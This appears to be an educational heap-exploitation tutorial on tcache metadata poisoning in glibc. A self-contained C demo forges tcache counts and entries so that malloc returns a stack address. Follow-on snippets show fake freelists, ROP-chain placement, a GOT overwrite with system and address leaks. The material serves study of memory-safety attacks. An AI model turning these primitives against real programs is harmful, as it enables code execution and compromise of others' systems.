Tcache Metadata Poisoning

#define TCACHE_BINS 64

struct tcache_perthread_struct {
    uint16_t counts[TCACHE_BINS];  // How many chunks in each bin (max 7)
    void *entries[TCACHE_BINS];    // Head pointer for each bin's freelist
};

+0x000: counts[0]    (uint16_t) - count for bin 0 (size 0x20)
+0x002: counts[1]    (uint16_t) - count for bin 1 (size 0x30)
....
+0x07e: counts[63]   (uint16_t) - count for bin 63 (size 0x410)
+0x080: entries[0]   (void*)    - head pointer for bin 0
+0x088: entries[1]   (void*)    - head pointer for bin 1
....
+0x278: entries[63]  (void*)    - head pointer for bin 63

#include <assert.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>

// Tcache metadata poisoning attack
// ================================
//
// By controlling the metadata of the tcache an attacker can insert malicious
// pointers into the tcache bins. This pointer then can be easily accessed by
// allocating a chunk of the appropriate size.

// By default there are 64 tcache bins
#define TCACHE_BINS 64
// The header of a heap chunk is 0x10 bytes in size
#define HEADER_SIZE 0x10

// This is the `tcache_perthread_struct` (or the tcache metadata)
struct tcache_metadata {
  uint16_t counts[TCACHE_BINS];
  void *entries[TCACHE_BINS];
};

int main() {
  // Disable buffering
  setbuf(stdin, NULL);
  setbuf(stdout, NULL);

  uint64_t stack_target = 0x1337;

  puts("This example demonstrates what an attacker can achieve by controlling\n"
       "the metadata chunk of the tcache.\n");
  puts("First we have to allocate a chunk to initialize the stack. This chunk\n"
       "will also serve as the relative offset to calculate the base of the\n"
       "metadata chunk.");
  uint64_t *victim = malloc(0x10);
  printf("Victim chunk is at: %p.\n\n", victim);

  long metadata_size = sizeof(struct tcache_metadata);
  printf("Next we have to calculate the base address of the metadata struct.\n"
         "The metadata struct itself is %#lx bytes in size. Additionally we\n"
         "have to subtract the header of the victim chunk (so an extra 0x10\n"
         "bytes).\n",
         sizeof(struct tcache_metadata));
  struct tcache_metadata *metadata =
      (struct tcache_metadata *)((long)victim - HEADER_SIZE - metadata_size);
  printf("The tcache metadata is located at %p.\n\n", metadata);

  puts("Now we manipulate the metadata struct and insert the target address\n"
       "in a chunk. Here we choose the second tcache bin.\n");
  metadata->counts[1] = 1;
  metadata->entries[1] = &stack_target;

  uint64_t *evil = malloc(0x20);
  printf("Lastly we malloc a chunk of size 0x20, which corresponds to the\n"
         "second tcache bin. The returned pointer is %p.\n",
         evil);
  assert(evil == &stack_target);
}

uint64_t *victim = malloc(0x10);

Heap Layout:
+0x0000: [tcache_perthread_struct chunk header]
+0x0010: tcache_perthread_struct data (0x280 bytes)
+0x0290: [victim chunk header]
+0x02a0: victim chunk data  <-- 'victim' points here

struct tcache_metadata *metadata =
    (struct tcache_metadata *)((long)victim - HEADER_SIZE - metadata_size);

metadata->counts[1] = 1;                 // Say bin 1 has 1 chunk
metadata->entries[1] = &stack_target;    // Point bin 1 to our target

At metadata + 0x002: 0x0001  (counts[1] = 1)
At metadata + 0x088: &stack_target (entries[1] = target pointer)

uint64_t *evil = malloc(0x20);

// Inject pointers into multiple bins
metadata->counts[0] = 1;
metadata->entries[0] = target1;

metadata->counts[1] = 1;
metadata->entries[1] = target2;

metadata->counts[2] = 1;
metadata->entries[2] = target3;

// Get them back
void *p1 = malloc(0x10);  // Returns target1
void *p2 = malloc(0x20);  // Returns target2
void *p3 = malloc(0x30);  // Returns target3

// Create a fake freelist chain
fake_chunk1[0] = (uint64_t)fake_chunk2;  // fd pointer
fake_chunk2[0] = (uint64_t)fake_chunk3;

metadata->counts[1] = 3;  // Say we have 3 chunks
metadata->entries[1] = fake_chunk1;

malloc(0x20);  // Returns fake_chunk1
malloc(0x20);  // Returns fake_chunk2
malloc(0x20);  // Returns fake_chunk3

metadata->counts[5] = 1;
metadata->entries[5] = stack_location;
void *p = malloc(0x50);  // Returns stack_location
// Now write ROP chain via p

metadata->counts[3] = 1;
metadata->entries[3] = &got_entry;
void *p = malloc(0x30);  // Returns &got_entry
*(void**)p = system_addr;  // Overwrite GOT

// If you can read back from allocations
metadata->counts[0] = 1;
metadata->entries[0] = code_section_pointer;
void *p = malloc(0x10);
// Read from p to leak code addresses